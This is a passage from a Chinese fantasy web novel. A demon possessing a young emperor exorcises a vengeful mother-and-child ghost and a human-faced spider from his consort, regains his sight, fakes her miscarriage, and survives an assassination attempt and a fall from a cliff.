“当然是自己去的,”天子嘴角露出一抹微笑,“六月中下了场暴雨,那天突然对婕妤想念得紧,雨歇后趁夜出宫去沈府看了看她,可惜沈府屋檐的瓦片还不甚牢靠,让朕从屋檐上掉进她闺房里,做了回梁上君子。”
他语气颇有些缱绻暧昧之意,听得在场众人脸色青一阵白一阵。
“母亲若不信,可遣人去沈府询问,当时午夜,还惊动了沈家夫人和前院的女官,婕妤绣房的屋顶被朕踏碎,六月底沈府应当有工匠修缮。”
“皇儿,你怎能如此放肆,你如今身份是多么贵重,若出了危险怎么办,若是实在想见沈婕妤……”
“我实在想见她该如何?我可不就是太想她了,才会出宫去见她么?”
谢太后一时语塞,沈纨已是被他强纳入宫的,因事发突然,翌日护送她回府,还有个回门的习俗和借口,算是尽了礼数。虽然后来定了名分,但皇帝夜半摸进官家淑女的绣房与之相会,这种偷香窃玉的勾当,成何体统。
但皇帝就是换一种做为,白日里大张旗鼓出宫,到朝臣的宅邸令其掌珠侍寝,此事若传至民间也是个笑柄。
她方才被吓出一身冷汗,既然皇帝亲口承认六月中见过沈纨,算算日子,也算对得上,他的荒唐之举,如今也只能作罢,太后心下松了口气,但语气依旧有些无奈,劝谏道:“沈婕妤如今既已入宫,能长伴你了,既是快做父亲的人,也该收收心思,断不能再如此肆意妄为了。别怪为娘的多嘴,你仗着轻功好就随意潜入他人宅邸,这和采花贼有甚区别,娘都白教你了。”
谢太后声音伤感,听着甚为难过,魔情赶紧答道:“儿臣明白,再不敢了。”
“还有那徐家女郎……”
“此事容后再议,今日先不谈了。”
“也罢。”谢太后领着众人离开了,留下天子与沈纨在卧房里。
“陛下,”沈纨不明白天子为何出言维护她,她也不明白自己怎么突然就怀上了孩子。“妾身没有……”
魔情打断她道:“朕知道你没有,你若相信朕,先好生睡一觉,到晚上朕还会再来看你,明白了吗?”
他按住沈纨,让她躺回床上。
白天到底阳气还是重了些,到午夜,就能判断是怎么回事了。
11. 蜘蛛怨
当夜晚上,魔情避开宫人,与两位魔将来到了棠华宫,因沈婕妤有孕,增派了照料的人手,但值夜的宫女呵欠连天,实在是熬不住强烈的倦意,倚在房门边上,缓缓滑坐下来睡了过去。
魔情踏进沈纨的闺房中,半透明的魔女莫耶也降临在她的闺房里,沈纨躺在床上,沉睡不醒。
“你来看看她。”魔情低声命令。
莫耶是梦神,最擅长入侵灵识和梦境,天空中挂着一弯新月,突然月光变得异常明亮起来,一束光线透过窗纱照进房中,魔女半透明的身姿如同波动的涟漪,她悄无声息地靠近沈纨,抬起手来,月光似乎变成了有形的水波,她撷起一缕月光,指尖如同纺线般地拨动,将沈纨的灵识与自己连接。
时间似乎凝滞下来,黑暗的房间里,魔女的身影入银雾一般晃动,她蹙眉查探沈纨的记忆,突然轻轻地哎呀一声叫出来。
“怎么?”
“的确有不寻常的胎动,但……”
莫耶收回手,引入房中的一缕月光也随之退去,夜空中的新月恢复如初,魔女淡声道:“是附体,公子,宫城里出了邪物。”
她手中出现飘渺的雾气,黑雾汇聚成一个黑色的花苞,花瓣缓缓张开,滴下如血液般的水滴。
魔情虽然失明,但莫耶灵识强大,他能够感觉到她传达的信息。
水滴化作一个女子的身影,长长的头发,像鬼影一样飘渺,她突然跪下来,四脚着地,弓着背匍匐在地上,像动物一般爬行,然后四足变八足,开始悉悉索索地爬行。
黑雾中传来女子悲凄的哭声,夹杂着婴儿的嚎哭,时而又出现非人的诡笑
蜘蛛的四周有什么东西在流淌,象是粘稠的血。有像是尸体的东西出现在蜘蛛的身旁,怪物俯下身,咯吱咯吱,咯吱咯吱,仿佛动物啃食血肉的声音。
这时婴儿的哭声变得尖利,一个婴孩从黑雾中出现,竟然怪异地直立行走而来,然后趴在蜘蛛身旁,一起啃食血肉。
“那东西在哪里?”魔情了解得差不得了,一挥手散了黑雾。
“在棠华宫西面的红梅苑。”
魔情一把抱起沈纨,经过睡得人事不知的两个婢女,转身出了棠华宫。
子时的红梅苑阴风阵阵,如今是盛夏,梅苑中的梅树并不开花,夜空中的新月愈加黯淡,今夜要对付的妖物不同以往,山鬼肩上的佩剑飞出来,化为四柄剑,分别落在东南西北四个方位,结界随之张开。
沈纨身穿白绸的单袍,身体漂浮在半空中,魔情把手放在她肩膀上,作势向后一扯,生生自她体内拽出一个怨灵,怨灵离体的瞬间,爆发出一阵尖啸,那妖物十指生着异常长的指甲,转头扑向魔情,却像撞上了一堵空气墙,无论如何也不能近身。
山鬼和莫耶出现在魔情两侧,面对强大的魔将,怨灵惧其威势,不敢上前,魔将放出黑色的锁链,将其禁锢起来。
面前这恶灵看起来也只是勉强具备人形,四肢都发育得不完整,仿佛吃多了人无法消化似的,黑影里有黑色的团块状物体蠕动,除了女子的号泣,还有婴儿哭啼的声音。
这恶灵像是被铁链拴住的狂暴凶兽,疯狂地挣扎,身后的一株老梅树,突然出现了金色的咒文,绕着梅树旋转,似乎曾有通晓道术的高人在此地留下过禁制,树根突然裂开,从里面涌出血来,黑色的锁链突然凭空出现,锁链一头拴着这邪灵,另一头却深深扎入梅树的根系之下。
山鬼从魔剑中召出剑气刺向恶灵,恶灵发出更加刺耳的尖啸,被蚕食的魂魄四散逃窜,最后露变成一个枯瘦的女鬼,漂浮在半空中,下半身全是血,身上寄生着一个阴惨惨的婴儿。
“子母煞。”魔情低声说。怀孕的女子死前状况凄惨,怨气太重,连同腹中胎儿也不得往生,双双变成了僵尸。
“你是谁?”魔情问,但回应他的只有咯咯咯的声音,她舌头没了。
莫耶强行搜她记忆,魔女低声念念有词,混沌如梦呓般的魔语像四周弥散开,全然不像平日里的交谈,而像一种无形的雾气,传递给她同族的信息,不仅仅是声音,还有她摄取的画面。
这是个历经两个朝代的女子。
齐国当世有一名曲,称为《红妃曲》,纪念的是圣武皇帝后宫中的一位绝色美人,她命运多舛,辗转于多人之手,在圣武皇帝一统天下前,社稷分裂,她本为越国公主,彼时天下陷入乱局,越国是较早一批陷入动荡而分崩离析的小国,她被前朝最后一任天子纳入后宫,深得宠爱,前朝有乐师见到这位宠妃在红梅花树下的舞姿,深受触动,作下这首曲子。
没过几年天下愈加动荡,枭雄四起,皇城沦陷,女子在战乱中多有不幸,更何况这位公主十分貌美,圣武皇帝一统天下之后,梅妃被纳入其后宫,深得宠爱。
后圣武皇帝崩殂,她又被第二任天子所觊觎,新君不顾朝臣反对,将父亲的妃嫔纳入禁中,怀孕六个月时,皇后的双亲设下毒计,将她腹中孩子挖出,惨死于梅园中。
死去的梅妃对萧氏满怀怨恨,成为子母煞。
她的记忆已在百多年前,非常久远,仿佛朦胧的雾气,亦幻亦真,后来在埋葬她的树下,曾来过一个青年道士,在树下放了一道镇魂符,封印煞气。直到如今封印开始减弱。
魔能够看出凡人无法窥见的因缘,这萧氏一门,分明已经被阴影所笼罩,怕是子孙后代都有些麻烦,小皇帝萧誉被他夺舍,如今空剩一副皮囊,很难说是否在因缘之内,梅妃魇不着当今天子,被阖宫视为宠妃的沈纨遭了池鱼之殃。
梅树下裂开的缝隙进一步扩大,从里面窜出一只巨型蜘蛛,生着人的面庞,嘶叫着冲出来。
梅妃惨死,原本只是成为一个难以往生的怨灵,但积年的煞气引来了人面蜘蛛这一怪物,最终与子母煞形成了互相寄生的关系。
蜘蛛吃下了大量的活人和无法顺利出生的婴灵,而梅妃屡屡寄生于每代宫廷里的得宠妃子身上,破坏她们的精神,让她们无法
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生育健康的子嗣,并影响与她们共枕的皇帝,自太宗皇帝起,每任天子并不长寿。有时,遇上些命格特殊的倒霉蛋,当他们运势衰微之时,就会被子母煞所侵袭,成为人面蜘蛛的美餐。这株梅树下,根系早已浸透了鲜血,白骨累累。
此等魔物对于魔情来说还是过于低级,他懒得出手,山鬼召唤出四道剑气,将它钉在地上,
黑色的毒雾四散,人面蜘蛛的痉挛着发出刺耳的啸声,数百年的修为被魔的剑气所破坏,一粒通体血红的妖丹自毒雾中出现,泛着妖异的光芒。
魔情在这个时候捏了一个魔诀,魔火蔓延,围绕着人面蜘蛛腾起,怪物所处之地裂开一道缝,八只巨大的蛛腿还在试图挣扎,它的人面冒出黑黄的尖牙,喷出腥臭的毒雾,莫耶不耐烦,衣袖一挥,一阵疾风扫过,人面蜘蛛跌落地缝之内。
世间有大大小小的精怪躲在凡人所不察的角落修行,人面蜘蛛暴虐而智识低,若换作五仙,数百年的修行早该有了人身,精怪若吃人太多,一旦修炼失败,因果会为它们安排好去处,魔情今天替它行了个方便,直启地狱之门,它瞬间就被狱火吞噬,跌入深渊之中。
至于另一个……
魔情看向一旁忧愁的女鬼:“你有两个选择,跟它下去,或者,选择往生,跟着白光走,别再留恋人间了。”
梅妃看着非常凄苦,那个近六个月就被从腹中剖出的婴儿,如今已经变成僵尸,长着可怕的白毛,畸形而皱小。她从人面蜘蛛和镇魂符的禁锢中解脱出来,婴儿煞气弱,被封印的道气冲撞,魂魄化作一缕微光消失在黑夜中。
“你想报仇?”
梅妃点点头。
“这件事我无能为力,如果我们出手你只会魂飞魄散,你可以自己离开吗?”
梅妃的身影逐渐稀薄,然后消失了。
梅苑平静下来,除了那株藏着妖物的梅树,树根裂开,已经变得枯焦,花苑里又恢复了平静,四柄剑再度合一,飞回山鬼身旁。结界消散,夏末的晚风灌进梅苑,带来清凉的气息。
沈纨身下的术阵也随之消失,身体缓缓落下,被魔情接住。
“公子,这妖丹怎么说也有四百多年的修为,属下认为会有些作用。”莫耶建议道。
魔情一手揽着沈纨,一面将妖丹引入掌中,这粒内丹隐藏着许多邪恶和怨恨,对道域的修行人来说是毒物,对魔修是烈性的至宝,但对他这样的纯魔来说,则丝毫不足为惧。
他试着将妖丹化为己用,这粒血红的丹丸被黑紫的魔焰包裹起来,在魔情的掌心渐渐被炼化。魔情感到双眸变得滚烫起来,蒙眼的布带竟然被烫得微微泛起焦黄,一阵风吹过,布帛落下,魔公子在黑暗中睁开了眼睛。
虽然还是小皇帝萧誉的外貌,却出现了妖异而美丽的金色眼瞳。
起初,眼前的一切都很模糊,渐渐地,开始能看见模糊的轮廓,随着夜视能力的恢复,黑暗中的一切清晰起来,他终于看清了怀中的少女。
12. 几家欢喜几家愁
由于沈纨入宫的方式既快又颇儿戏,有强抢民女之嫌,以至于小皇帝在人间落下话柄,笑话当今天子急不可耐,伤才刚好就急着纳京城的第一美人入宫。
今日一见,民间那些溢美之词的确没有夸张,她确实美貌。
少女眼睫轻颤,醒转过来,魔情抬手做了个手势,山鬼和莫耶会意地离开了,沈纨刚刚经历了一场驱邪的仪式,子母煞刚刚脱离她的身体,她感到非常虚弱,迷迷糊糊地睁开眼睛,对上一双金色的眼眸。
“醒了?”
她呆呆地看着皇帝,思绪也慢了几拍,过了好一会才认出人来,再看一会儿,才意识到不对劲,天子此前失明,又很畏光,不得不终日蒙着双眼,极少在人前取下蒙眼的布条,如今目光落在她身上,聚焦而清明,他在仔细看她,但那眼睛的颜色——
魔情眨了眨了眼睛,金瞳退去,恢复了人类的瞳色。
她现在意识也不太清楚,还以为自己糊涂了,困惑地看了天子片刻,觉得自己刚才好像出现了幻觉,这才继续道:“陛下的眼睛……?”
“已看得见了。”
沈纨挣扎地站稳,她穿得单薄,一遭到风吹,皮肤就起栗,魔情将他的外袍解下来,顺势给她披上,她满心疑惑,一时间不知道该从何问起。
红梅苑之外急匆匆地来了一群人,天子和沈婕妤夜半不知所踪,徽元殿和棠华宫众人吓得魂飞天外,山鬼的魔剑在梅花苑里支起结界,凡人既不可见,也会得到暗示,有意识回避该处。众人在宫里找了一个多时辰,陛下和沈婕妤都不见踪影,正急得发慌,直到结界消退,才有人想起红梅苑,有宫女在附近寻觅,看到天子和沈婕妤,这才脚不沾地地跑去报告了消息。
内侍连滚带爬地跪倒在天子面前:“陛下出了寝宫怎么一个伺候的人都不带,要奴一顿好找。”
再过两个时辰天就该亮了,炎夏之夜,在不开花的梅园里吹凉风,既没有景致可看,宫灯又幽暗,婕妤穿得单薄,长发如云披在肩头,钗环首饰一件也无,素面朝天,脸若芙蓉,一副从床上刚起的模样,还披着天子绣着金龙的玄色外衣,衣摆委地,被风吹得微微摆动。
内监宫女也不知道天子和沈婕妤是什么情趣,婕妤还怀着龙嗣,受了寒可如何是好,又是疑惑又是担忧,还不敢抬头。
“回去再告诉你。”魔情低声对沈纨说,然后下令摆驾徽元殿。
众人寻得天子和沈婕妤,这才发现天子已然复明。
“朕乏了,你们安静些,有什么事明日再说。”皇帝不耐烦道,挥退了众人的好奇心,把一些祝贺的吉祥话也一并噎了回去。
皇帝和沈婕妤午夜在红梅苑幽会,如今又无预兆地把沈婕妤带回了自己的寝宫,沈纨现在虚得很,任宫女摆布替她更衣。
福锦察言观色,看样子沈婕妤今夜应不会回棠华宫了,她识趣地并不多问,待天子与她更衣完毕,就携宫人退下,心下思量遣人去通知彤史女官,今夜或要记上一笔。
沈纨满心疑惑,倦得话都说不出来,总不至于今天真要侍寝?
皇帝却冷静得很,待宫人们悉数退下,他把手放在她肩头,让她躺卧在龙塌上,四周笼着轻薄的纱帐,他坐在她床边:“关于你有孕一事,朕现在与你释疑,可别被吓着了。”
魔情把前因后果稍作更改,略去了他的两位部下,将大致的来龙去脉告诉了沈纨,在这个版本里,多了一个修道的剑侠,是他在宫外认识的前辈,早就算出宫中近期有妖物,在子时阴气重时踏月而来,事毕之后又飘然而去,不知所踪。
接连的冲击让沈纨脑子一时间有些难以思考,早些时候才诊出喜脉,不想夜半便现邪祟,但听天子所言,又察觉其间隐藏着一段凄惨的往事,沈纨怔愣半晌,方启唇问道:“她如今是否已往生了?”
“不知。”魔情摇头,梅妃只是消失了,但是否安心投胎,则无从知晓。
“妾时常觉得,世道不甚公平,世人遭受冤屈,却难见现世报,如今前事已远,当初那些害她的人也早就不在人世,害得她在世间游荡许久,而冤屈难平。”
天子一时不答,沈纨才意识到,他已然复明了,气质似乎变得更加锐利,目光闪着寒芒,也不知在想什么。
凡人看不到累世的业报,但他看得到,命运在暗中标好了价格,那些出身佛道的修行人讲究匡扶正道,而他身为魔族,只会——
加速。
“接下来怎么办呢?”沈纨感到很疲倦,语气忧愁。宫妃有孕是大事,每日都会有医女前来诊脉,她现在既然压根就没怀孕,只要号脉就发现了。
“难道太医就没有号错脉的时候?”
“陛下可知太宗敬元后的先例,若妾也如徐后一般,未来在宫中怕是要成笑柄了。”
“敬元后?”
“陛下不曾听闻?”沈纨诧异不已,太宗皇帝可是当今天子正经的曾祖父,他竟不曾听闻先祖正妻的旧事,也许宫中对秘辛反而缄口不言,但她一介晚辈,岂能胡乱议论天家旧事,刚才一时失言,不由得有些悔意。
“没人同朕提过,你说吧,没什么好忌讳的,现在也没有其他人在。”
沈纨虽有些疑惑,但还是解释道:“那,妾冒犯了,都是些民间传言,闻说太宗敬元皇后,多年来未有嫡子,入宫十年后方诊出身孕,却数月不显怀,后来方知是假孕,皆因太想要龙嗣,而身体出现虚兆,此事令敬元皇后颇失颜面。”
魔情想起那个怀胎六个月被挖出胎儿的梅妃,不想要孩儿的却有了,想要孩儿的百般筹谋却无所得,如今在宫中的谢太后,也是如此。
“你本月恐怕当受点罚。”他想到一个计策。
沈纨不明所以,看定天子。
天子抱着手,徐徐道:“你既大闹宫宴,午夜又私自出棠华宫在梅苑游荡,朕明日下令禁足一个月。待八月皇家与宗室登高祭天,你随朕出宫,恰逢此时遭遇提前打点好的意外,行路不顺也好,水土不服也罢,就在宫外把此事了了。”
他似以平静的话语与她策划些了不得的事,但沈纨思来想去,也没有更好的法子,只好点了点头。
“周折了一夜,天将明
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了,快歇下吧。”天子的声音仿佛有种冥冥中的力量,沈纨感到困意袭来。
隔着银红的纱帐,她看见天子站在窗前,似乎在沉思着什么,忽明忽暗的烛光映着他的脸庞,她在陷入深眠前,似听到他叹息地道:“国之将亡,必有妖孽啊……”一国之君竟口出如此不详之言,但她实在是太困了,闭上了眼睛,醒来也把这一节给忘了。
几家欢喜几家愁,天子在翌日宣布了对沈婕妤的禁足,指派来的女医被莫耶所惑,不曾反馈任何异常。所以宫城上下依然沉浸在迎接皇嗣的喜悦里,而沈婕妤受罚,也是必要之举,毕竟宫宴草草结束,落了魏国夫人和徐家掌珠的脸面,该给世家一个交代。
魏国夫人携女入宫谢恩,原本满怀喜悦,却扫兴而归,徐兰宁尤其失望,魏国夫人近日去花神院为她求人参娃娃,但此物讲究机缘,今年的人参娃娃已经被有缘人尽数求去,略一打探,求走最后一个人参娃娃的,竟是沈纨的母亲姜夫人。
听闻此事,魏国夫人更是不悦,要求花神院现做一个,令花神院的女居士颇为难,此物讲究机缘,供奉时间又长,但还是拗不过夫人的强烈要求,现做了一个新的,在花神娘娘殿前供奉了几日,就请回了府中。
徐兰宁在宫中直面沈婕妤有孕这一大事,天子又给了她好大的没脸,一直心绪不佳,在知晓沈纨入宫前,姜夫人曾求过人参娃娃,方知此物的确灵验,如今母亲也替她求了一个来,这才稍稍宽慰。
如今徐府宴饮不断,天家赐下的三百虎贲卫士为其效命,出入随行,排场壮大,荣宠无双。徐府如今门庭若市,尽是上门道贺的百官,八辈远的亲戚都从不知名的角落钻出来打秋风,意图在徐家父子及亲眷前混个眼熟。就连那纨绔的徐家二少,他养在京里的外室都沾了光,此女出身风尘,不容于世家,徐二郎另至别室,安置此女,如今诞下一子,即将足月,前来巴结之人都踏破了门槛。
今日是徐氏家宴,魏国夫人之妹,户部尚书之妻携家中女儿来徐府道喜,席间对徐兰宁百般奉承,夸赞她出落得亭亭玉立,将来必得贵夫。
徐敦呵呵笑道:“娥皇大了,是该嫁人了。”
尚书夫人含笑问:“徐将军可有佳婿人选?”
徐敦道:“我徐敦之女自然配得起世间最好的儿郎,谁敢叫娥皇受委屈,爹第一个不答应。”
徐兰宁想起自己在花神院求了半天姻缘,选秀未曾得见天颜就被遣散回府,后来父兄立下大功,母亲带她入宫谢恩,又遭天子冷待,如今想起来,仍是有些烦恼,不由丧气道:“爹爹快别说笑了,哪里来的什么贵夫呢。”
“爹爹可不是说笑,我徐家的女儿想要嫁谁不可以。你若已有了意中人,爹自然会为你好好打算,想什么时候出阁,就什么时候出阁。”
徐兰宁嘴唇微颤,不禁又问:“若他早有了意中人呢?”
徐敦一对虎目灼灼闪动,语气诧异:“娥皇这么好,还有人心有他属,那真是太不长眼了。”他随即又抚掌大笑,举杯向全席劝酒:“今日虽是家宴,但喜事临门,都要尽兴为好。”
13. 荧惑
天子重见光明,朝堂内外着实热闹了好些天,而沈婕妤有孕,按过往惯例,她本可以晋位,如今大闹宫宴,让魏国夫人和徐家掌珠扫兴而归,实不成体统。论理该罚,也的确罚了,只是皇帝的处置着实让众人百思不解,沈婕妤惹祸当夜与天子共寝,转眼到第二日,又领了责罚,被下令禁足一月,仅指派了一个女医,定期前去诊脉。
女医被长于灵识之术的莫耶施加了暗示,每日按时前来为沈纨号脉,叮嘱几句,再神色如常地离开,沈纨起初很紧张,但几日下来,女医丝毫未有异状,她只道是天子亲信,也就不再害怕了。
一个月很快过去,到了八月上旬,沈纨的禁足结束了,每年的这个时候,皇家与宗室总会前往西郊的御龙台祭祀,此次出行,天子下令沈婕妤与之同往。
车驾提前一日从皇城出发,前往御龙台,一路上禁军随行,队伍浩浩荡荡行至郊外,与等候在此的宗室合流,一同进山。
八月上旬的郊野已经有了轻微的秋意,车队在山林间缓缓行进,一个多时辰后,方至山顶的御龙台。山上建有行宫,天子、太后、沈婕妤住进了宫里,而宗室入住与行宫相对的道云观,以待明日的祭天大典。
魔情伤势逐渐好转,越来越不受佛道法事的干扰,对连番的法事表现平静,三日后,天家的祭天和祭祖大典相继结束,余下的都是一些较为次要的法事,宗室太后各有祈福的需求,还需再住两日。这日黄昏,魔情叫来沈纨对她说:“明日寅正时分,你与朕去云海崖看日出。”
沈纨听懂了他话里的含义,轻轻点了点头。
皇帝性格若即若离,她现在已尽量放弃忖度君心,以免多添烦恼。蒹葭和白露此行也跟来,沿路照顾她。这两个丫头近期的心情可谓一波三折,大起大落:先是沈纨入宫多日不见天子,又有天子将娶世家女的传闻;转眼间婕妤有孕,日子又对不上,这时陛下出来说,六月中悄悄去沈府幽会过娘子;没想到娘子随后就因大闹宫宴而被禁足,责罚才结束,竟又得了恩典,同天子一道出宫前往御龙台祭天。
白露最不会隐藏心绪,沈纨被禁足的那些时日,她一副愁云惨雾的样子,如今竟然有份出宫,还得以旁观天家大典,完全是意外之喜。明日娘子又要和陛下去看日出,她忍不住开怀道:“陛下心中果然惦记着娘子。”
沈纨叹道:“你又得意忘形了,曹姑姑平日里是怎样说的?凡事都要谨慎些,宠辱不惊才好。”她这本就没影的喜脉到明日可就没了,到时候白露还不知该有什么反应。
不过,从春天入宫选秀到现在,数月的光景就几经大起大落,实在是过于惊险,她现在也觉得有点经受不住。
翌日寅正时分,沈纨睡眼惺忪地被起来,梳洗之后前去见天子。
山间云雾飘渺,天还未亮,能看见太白星在东方闪烁,天子在行宫前等她,待上了马车,天子告诉她,去云海崖要行山路,一会儿马车颠簸,记得喊肚子疼。
“若是演得不像该怎么办?”
“朕可以点穴,只不过,你会难受一阵子。”
“女子小产,难免身体有所损伤,妾如今身体康健,哪怕装出虚弱之态,也总会有些地方不像。”
“朕从厨房里偷了点鸡血。”
这句话让沈纨脑内出现了点不合时宜的画面感,一个年轻的少年君王钻进厨房里找鸡血,她赶紧甩掉这个念头,无奈道:“妾也有些胭脂色的染料,陛下怎么不早说。”
“你出门还带染料?”
“妾平时无事,也会作画消遣娱情,自然会常备颜色。”
马车剧烈地一震,天子提醒她:“你可以开始演了。”
“哎呀!好疼。”
……
语气非常做作,也忒不像了。
魔情微微皱眉,二指并拢,欲点她穴位:“不如你忍一忍?会气息紊乱一阵。”
这时马车突然剧烈地摇晃起来,外面出现一阵骚乱,似乎在突然之间,四面八方出现了许多人,听到刀剑穿透皮肉的声音,前方传来一阵闷响,接着一柄剑刺入帘中,魔情用指尖夹住,微微一用力,剑刃被直接断去,他飞身出了马车,只见马车周围出现十多位蒙面的死士,手持明晃晃的刀剑,杀气腾腾地包围了马车。
车夫已经死在地下,魔情从行宫出来,与沈纨去不远处的云海崖,因途中要演些意外,有意没有多带护卫,没想到来了许多身份不明的蒙面人,顷刻间禁卫已全数斩杀。
魔情心中有数,叹息道:“你们的主人实在是太心急了。”
他飞身出了马车,沈纨在车内只感到车身晃动,不时有人撞在马车上,传来凄惨的痛吟,然后倒在地上,外头的混乱没有持续太久,转眼间人声和刀剑交错的声音都少了一半,还多了些恐慌的喘气声。
她忍不住掀帘向外看,天子一点伤都没受,甚至没用任何武器,他打架的仪态非常优雅,下手果决,近他身的刺客很快就死了,他夺人性命并不见血肉横飞,而是另一种方式的酷烈,魔息催动,敌人的骨骼血肉全部破碎,在地上瘫作一团烂泥。
这群刺客受命刺杀马车中的女子,本不欲为难天子,但转眼间人已经死掉八成,大为恐慌,如任务失败,回去更难交代,其中二人转而去袭击马车,一人袖中飞出一个银梭,刺入马臀,另一位挨得近些的,一柄匕首猛地扎入另一匹马的马背。
沈纨在马车内感到剧烈的震颤,受伤的两匹马疯跑乱撞,他们此时已经来到云海崖的阔地,马带着车往前乱闯,车轮歪向山崖,其中一匹马挣脱缰绳跑远,马车向下斜,失去平衡从山崖掉了下去,并将另一匹马也扯下悬崖。
魔情几步上前,也跟着跳了下去,他落在马车上,
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用力掀开了蓬顶,伸手进去抓住沈纨肩膀,一把将她捞了出来,崖下是布满迷雾的深潭,他在马车入水的刹那间跳开,重物落水溅出巨大的水花,他和沈纨也一起落入寒潭里。
潭水冰寒刺骨,这下甚至不必再表演什么拙劣的意外,坠崖,如果她肚子里真揣着一个,绝对保不住了。
沈纨已经晕了过去,魔情瞥见水潭边有一个山洞,带着她上岸进了洞窟。山洞临水,潮湿而脏污,两个人浑身湿透,狼狈得很。
他半跪下来,把手放在寒潭的水面上,无风的水面泛起浪花,水花凝成一只透明的蝴蝶,魔情指尖点在蝴蝶的翅膀上,嘴唇微动,像是在低声嘱咐着些什么,蝴蝶振翅飞走了。
没过多久,洞口照进来一束蓝光,天空此时泛起青黛,但太阳尚未升起,幽深的寒潭水面,竟然凭空出现一轮泛着幽蓝银光的满月,硕大如天家的马车,占据了整个深潭。
这是魔族的蓝月幽阁,是魔将在人间的栖息之所,就如同一轮妖异的蓝月,只有具备灵视的高阶魔族和修为深厚的道门弟子才能看见,平素高悬于长庆宫之上,隐在云层间,从幽阁向外望,长庆宫的景色能尽数收入眼底。
得到信息的山鬼和莫耶,将蓝月幽阁转移到寒潭边上,在迷雾笼罩的深潭里,就像从水中升起了一轮巨大的月亮。
魔情抱着沈纨踏进幽阁,内中别有洞天,空间阔大,有好几个房间,幽月升入高空,起初是一轮满月,然后,如同天狗食日一般,月相渐亏,直至完全被吞没,蓝月幽阁变得几乎透明,若隐若现地泛着银光,卧在一朵厚厚的云上。
幽阁里有一些玉石的石台,魔情一踏入幽阁,立刻从小皇帝的肉身中脱离出来,恢复了银发黑袍的本相,他毁损严重的魔体已送返三途城,举行了虚假的葬仪,如今,他只是个介于虚实之间的灵体。
小皇帝的肉身被放在一旁的黑曜石的石台上,一阵幽蓝的微光笼罩了他。
魔情走向另一面翡翠色的石台,把手放在上面,石台亮起来,出现火焰形状的明亮咒文,他把沈纨转移到石台上,温暖的微光笼罩了她,白色的雾气,缓慢地从她湿透的衣服和发间蒸发出来。
山鬼一贯沉默,抱着剑在一旁不语,莫耶飘在空中,评价道:“人间看来也不甚太平了。”
魔情触碰一块黑曜石板,上面雕刻着金色的魔焰,蓝月幽阁突然黯淡下来,黑曜石板投射出的金光照在漆黑的天幕,满天的星宿出现在魔情面前。
其中,紫微垣黯淡,旁有一颗红色的星宿却极其明亮,夺其光芒。
国有荧惑之变。
山鬼也不禁抬起头来,注视着荧惑的光芒,人间的王朝自有气数,如今星宿出现异象,似乎预示着社稷倾危,公子因伤留在人间,需要安静和隐蔽的居所养伤,但从这些星宿看来,这齐室江山显然并不太平。
14. 黑虎奇遇
沈纨睁开眼睛,发现自己睡在一间木屋里,身下是厚厚的稻草,木屋中间有一个砖石砌起的圆台,正生着篝火,窗外夜色浓黑,天子在篝火另一头坐着,火光摇曳,他的身影忽明忽暗。沈纨坐起来,一件华袍从肩头滑落,这才发现自己披着天子的外袍,他们的衣服干爽洁净,头发也是干净的,只是掉了些发饰,除此之外,竟一点也感觉不出曾经落过水的样子。
“陛下,我们这是在何处,此前跌落崖下深潭,为何会如此?”
“我们山里的木屋,想必是林间猎户的住所吧,你昏睡了很久,衣服自然干了。”
“我们是怎样过来的?”
“水潭边有渔民泛舟经过,载着你我顺流而下找到此地。他们指明了路途,此处离山脚不远,你不妨再睡一会儿,待天明时,我们再寻路出去。”
沈纨有些困惑地再度躺下来,他们可是才遭了刺客,陛下却显得如此泰然。
“陛下,那些刺客……”她心下惶惶不安,有极为不详的预感。
天子居然微微地笑了笑,分明是不得了的大事,他看起来浑不在意,这种生死边缘的危险,莫非他还很享受吗?
“我想,等我们回到宫里,应该就能知道了。”
“我们会有危险吗?”
“你认为我们回去会有什么危险。”天子不答反问。
沈纨心里的确有些猜想,但犹豫着不知该怎么说出口,猜对或猜错,似乎都很危险。天子依仗世家门阀,是自先帝起就有的沉疴,陛下十四岁登基,太后临朝理政,政事难免要仰赖有资历的老臣,如今虽然亲政,但要那些大权在握的世家吐出权力,却并不容易容易。
魔情看她眨着眼睛,神色忧虑,他心里却想,这女孩儿倒是有双很好看的眼睛。
真是奇怪,只是对视,她竟觉得有些不好意思,他隔着篝火,身影映在简陋的木屋上,光影晃动,眸光明灭不定,看起有种说不出的神秘魅力。
“放心吧,至少不是你我现在需要挂怀的。”他瞧着她有点赧然,心下觉得有趣:“明日还要赶路,你不提前养精蓄锐,当心体力不支,下不了山。”
“陛下呢?不睡吗?”她把一部分稻草挪出来展平,又让出一点位置。
“你这算是邀请在邀请朕共寝?”
少女抿住红润的嘴唇,有点不高兴:“我明明是关心……”
好心当成驴肝肺了,她悻悻地躺下,闭上了眼睛。
没过多久,她突然感觉身畔一沉,天子走到她身侧,并未有多余的言语,枕着手躺在了她身后。
翌日才天明,他们就启程离开,沿着河往下走,清晨的河面起了浓厚的雾气,令前路变得很模糊,往前走了不到半个时辰,却没路了,河流变成了阶梯般的瀑布奔流而下,一条小径自瀑布旁延伸入树林。
他们站在瀑布的边缘,此时远方的地平线透出了光芒,天际一抹红霞逐渐变成耀眼的金黄,霞光穿透晨雾,朝阳从地平线上探出头来。昨日相约云海崖,本也有机会一睹朝阳初升,却被刺客所打断,万万没料到,却在山野间补上了。
红日逐渐高升,最后彻底跳脱出地平线,入秋之后山间寒冷,但阳光带来了暖意,他们站着多看了一会儿,天子才说道:“我们走吧。”
二人转入林中,天色却突然转暗,四周的树木变得高大,枝叶茂密,完全不见阳光透进来。
过了一个多时辰后,天子问她:“还走得动吗?”
“无碍的,妾自幼总有几个月会生活在在山寺里,习惯了山路,在闺中还向乐署出来的娘子学过几年舞,没那么娇气。”
“走不动了记得说,时辰尚早,不必勉强。”
“妾知道的,陛下也是。”
他们沿着小径又走了一阵子,面前出现了两条岔路,一条崎岖泥泞的上行坡道,另一条虽狭窄却平整干净,看起来更像是常用的,魔情和沈纨走上了右侧宽阔的路。
算算时间可能接近午时,但四周依旧没有人烟,虫鸣鸟啼一概不闻,偶尔有风拂过林间,响起萧瑟的沙沙声。魔情带着沈纨向前探路,但越往前走,两旁的树木就变得越是高大,连风声都消失了,四野寂静,透着不寻常的古怪。
“陛下,此间……”沈纨也感觉出了不对劲。
魔情也感觉出些异状,但还是说道:“别怕。”
果不其然,林间传来一声虎啸,声音之巨,吓得沈纨一颤,前方的空地跳出一只黑色的大老虎,魔情慌忙挡在沈纨面前。
